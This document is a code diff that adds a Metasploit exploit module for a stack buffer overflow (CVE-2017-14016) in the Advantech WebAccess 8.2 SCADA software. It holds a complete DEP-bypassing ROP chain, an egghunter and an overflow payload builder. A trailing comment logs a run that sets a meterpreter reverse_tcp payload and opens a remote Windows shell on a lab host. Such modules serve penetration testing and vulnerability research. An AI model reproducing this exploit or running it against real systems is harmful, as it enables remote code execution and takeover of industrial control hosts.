|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::DCERPC |
| 13 | + include Msf::Exploit::Egghunter |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a stack buffer overflow in Advantech WebAccess 8.2. |
| 20 | + By sending a specially crafted DCERPC request, an attacker could overflow |
| 21 | + the buffer and execute arbitrary code. |
| 22 | + }, |
| 23 | + 'Author' => [ 'mr_me <[email protected]>' ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'ZDI', '17-938' ], |
| 28 | + [ 'CVE', '2017-14016' ] |
| 29 | + ], |
| 30 | + 'Privileged' => true, |
| 31 | + 'DefaultOptions' => |
| 32 | + { |
| 33 | + 'EXITFUNC' => 'thread', |
| 34 | + }, |
| 35 | + 'Payload' => |
| 36 | + { |
| 37 | + 'Space' => 2048, |
| 38 | + 'BadChars' => "\x00", |
| 39 | + }, |
| 40 | + 'Platform' => 'win', |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Advantech WebAccess 8.2-2017.03.31', |
| 44 | + { |
| 45 | + 'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14 |
| 46 | + 'Slide' => 0x07048f5b, # retn |
| 47 | + 'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04 |
| 48 | + } |
| 49 | + ], |
| 50 | + ], |
| 51 | + 'DisclosureDate' => 'Dec 25 2017', |
| 52 | + 'DefaultTarget' => 0)) |
| 53 | + register_options([ Opt::RPORT(4592)], self.class) |
| 54 | + end |
| 55 | + |
| 56 | + def create_rop_chain() |
| 57 | + |
| 58 | + # this target opts into dep |
| 59 | + rop_gadgets = |
| 60 | + [ |
| 61 | + 0x020214c6, # POP EAX # RETN [BwKrlAPI.dll] |
| 62 | + 0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll] |
| 63 | + 0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll] |
| 64 | + 0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll] |
| 65 | + 0x0201a646, # POP EBP # RETN [BwKrlAPI.dll] |
| 66 | + 0x07024822, # & push esp # ret [BwPAlarm.dll] |
| 67 | + 0x070442dd, # POP EAX # RETN [BwPAlarm.dll] |
| 68 | + 0xffffffff, # Value to negate, will become 0x00000001 |
| 69 | + 0x070467d2, # NEG EAX # RETN [BwPAlarm.dll] |
| 70 | + 0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll] |
| 71 | + 0x41414141, # Filler (compensate) |
| 72 | + 0x41414141, # Filler (compensate) |
| 73 | + 0x41414141, # Filler (compensate) |
| 74 | + 0x02030af7, # POP EAX # RETN [BwKrlAPI.dll] |
| 75 | + 0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx) |
| 76 | + 0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll] |
| 77 | + 0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll] |
| 78 | + 0x07078df5, # POP EAX # RETN [BwPAlarm.dll] |
| 79 | + 0xffffffc0, # Value to negate, will become 0x00000040 |
| 80 | + 0x070467d2, # NEG EAX # RETN [BwPAlarm.dll] |
| 81 | + 0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll] |
| 82 | + 0x0706fe66, # POP EDI # RETN [BwPAlarm.dll] |
| 83 | + 0x41414141, # Filler (RETN offset compensation) |
| 84 | + 0x41414141, # Filler (RETN offset compensation) |
| 85 | + 0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll] |
| 86 | + 0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll] |
| 87 | + 0x90909090, # nop |
| 88 | + 0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll] |
| 89 | + ].flatten.pack("V*") |
| 90 | + return rop_gadgets |
| 91 | + end |
| 92 | + |
| 93 | + def exploit |
| 94 | + connect |
| 95 | + handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) |
| 96 | + print_status("Binding to #{handle} ...") |
| 97 | + dcerpc_bind(handle) |
| 98 | + print_status("Bound to #{handle} ...") |
| 99 | + |
| 100 | + # send the request to get the handle |
| 101 | + resp = dcerpc.call(0x4, [0x02000000].pack('V')) |
| 102 | + handle = resp.last(4).unpack('V').first |
| 103 | + print_good("Got a handle: 0x%08x" % handle) |
| 104 | + egg_options = { :eggtag => "0day" } |
| 105 | + egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options) |
| 106 | + |
| 107 | + # apparently this is called a ret chain |
| 108 | + overflow = [target['Slide']].pack('V') |
| 109 | + overflow << [target['Slide']].pack('V') |
| 110 | + overflow << [target['Slide']].pack('V') |
| 111 | + overflow << [target['Slide']].pack('V') |
| 112 | + overflow << [target['Slide']].pack('V') |
| 113 | + overflow << [target['Slide']].pack('V') |
| 114 | + overflow << [target['Jmp']].pack('V') |
| 115 | + overflow << [target['Ret']].pack('V') |
| 116 | + overflow << [target['Slide']].pack('V') |
| 117 | + overflow << [target['Slide']].pack('V') |
| 118 | + overflow << [target['Slide']].pack('V') |
| 119 | + overflow << [target['Slide']].pack('V') |
| 120 | + overflow << [target['Slide']].pack('V') |
| 121 | + overflow << [target['Slide']].pack('V') |
| 122 | + overflow << create_rop_chain() |
| 123 | + overflow << egghunter |
| 124 | + overflow << egg |
| 125 | + overflow << rand_text_alpha(0x1000-overflow.length) |
| 126 | + |
| 127 | + # sorry but I dont like msf's ndr class. |
| 128 | + sploit = [handle].pack('V') |
| 129 | + sploit << [0x000138bd].pack('V') # opcode we are attacking |
| 130 | + sploit << [0x00001000].pack('V') # size to copy |
| 131 | + sploit << [0x00001000].pack('V') # size of string |
| 132 | + sploit << overflow |
| 133 | + print_status("Trying target #{target.name}...") |
| 134 | + begin |
| 135 | + dcerpc_call(0x1, sploit) |
| 136 | + rescue Rex::Proto::DCERPC::Exceptions::NoResponse |
| 137 | + end |
| 138 | + handler |
| 139 | + disconnect |
| 140 | + end |
| 141 | +end |
| 142 | +=begin |
| 143 | +
|
| 144 | +/* opcode: 0x01, address: 0x00401260 */ |
| 145 | +
|
| 146 | +void sub_401260 ( |
| 147 | + [in] handle_t arg_1, |
| 148 | + [in] long arg_2, |
| 149 | + [in] long arg_3, |
| 150 | + [in] long arg_4, |
| 151 | + [in][ref][size_is(arg_4)] char * arg_5, |
| 152 | + [out][ref] long * arg_6 |
| 153 | +); |
| 154 | +
|
| 155 | +saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/advantech.rc |
| 156 | +[*] Processing scripts/advantech.rc for ERB directives. |
| 157 | +resource (scripts/advantech.rc)> use exploit/windows/scada/advantech_webaccess_opcode_80061 |
| 158 | +resource (scripts/advantech.rc)> set payload windows/meterpreter/reverse_tcp |
| 159 | +payload => windows/meterpreter/reverse_tcp |
| 160 | +resource (scripts/advantech.rc)> set RHOST 172.16.175.145 |
| 161 | +RHOST => 172.16.175.145 |
| 162 | +resource (scripts/advantech.rc)> set LHOST 172.16.175.1 |
| 163 | +LHOST => 172.16.175.1 |
| 164 | +resource (scripts/advantech.rc)> exploit |
| 165 | +[*] Started reverse TCP handler on 172.16.175.1:4444 |
| 166 | +[*] 172.16.175.145:4592 - Binding to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.145[4592] ... |
| 167 | +[*] 172.16.175.145:4592 - Bound to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.145[4592] ... |
| 168 | +[+] 172.16.175.145:4592 - Got a handle: 0x01d729e0 |
| 169 | +[*] 172.16.175.145:4592 - Trying target Advantech WebAccess <= 8.2... |
| 170 | +[*] Sending stage (957487 bytes) to 172.16.175.145 |
| 171 | +[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.145:49351) at 2017-05-31 14:38:13 -0500 |
| 172 | +[*] 172.16.175.145:4592 - The DCERPC service did not reply to our request |
| 173 | +
|
| 174 | +meterpreter > shell |
| 175 | +Process 5208 created. |
| 176 | +Channel 1 created. |
| 177 | +Microsoft Windows [Version 6.1.7601] |
| 178 | +Copyright (c) 2009 Microsoft Corporation. All rights reserved. |
| 179 | +
|
| 180 | +C:\WebAccess\Node> |
| 181 | +=end |
0 commit comments